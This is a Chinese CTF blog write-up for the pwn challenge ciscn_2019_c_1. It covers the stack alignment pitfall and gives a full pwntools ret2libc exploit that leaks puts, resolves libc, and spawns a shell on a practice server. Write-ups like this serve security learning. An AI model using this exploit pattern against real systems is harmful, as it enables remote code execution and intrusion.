PWN刷题笔记——ciscn_2019_c_1

这题。。。我一开始被唬住了,我以为要写个绕过的代码(好好的看一下代码逻辑),其实根本不需要的。。。

还有人说因为

if ( v0 >= strlen(s) )
  break;

的存在,还需要’\0’绕过。。。其实根本没必要

不过最后有个很阴间的栈对齐问题,搞得我写不出最终exp。

后面参考了一下大佬的博客https://blog.csdn.net/qinying001/article/details/103266763

发现是这样的:

#下面为正常脚本,可以在kali中拿到shell,如果是Ubuntu18,需要在里面加ret进行栈对齐
payload = '1'*0x58+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
ret = 0x4006b9
payload_Ubuntu18 = '1'*0x58+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)

大概过半个月不到就要打今年的国赛了吧,看这样子我基本又是被锤爆(悲)

最终exp:

from pwn import *
from LibcSearcher import *


#以下纯属没用
def enc(text:list):
    new_list = []
    for i in text:
        if i <= 96 or i > 122:
            if i <= 64 or i > 90:
                if i > 47 and i <= 57:
                    i ^= 0xF
            else:
                i ^= 0xE
        else:
            i ^= 0xD
        new_list.append(chr(i))
    return ''.join(new_list)
#以上纯属没用


p=remote('node3.buuoj.cn',29802)
elf=ELF('./ciscn_2019_c_1')
context.log_level='debug'
p.recvuntil('choice!')
p.sendline(b'1') 
pop_rdi_ret=0x400c83
got_puts=elf.got['puts']
plt_puts=elf.plt['puts']
main_addr = elf.symbols['main']
p.recvuntil('be encrypted\n')
payload1=b'a'*(0x50+8)+p64(pop_rdi_ret)+p64(got_puts)+p64(plt_puts)+p64(main_addr)
p.sendline(payload1)
p.recvuntil('text\n')
p.recvuntil('\n')
puts_addr=u64(p.recv(6)+b'\x00\x00')
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

p.recvuntil('choice!')
p.sendline(b'1') 
p.recvuntil('be encrypted\n')
ret_addr=0x4006b9
payload2=b'a'*(0x50+8)+p64(ret_addr)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(payload2)
p.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇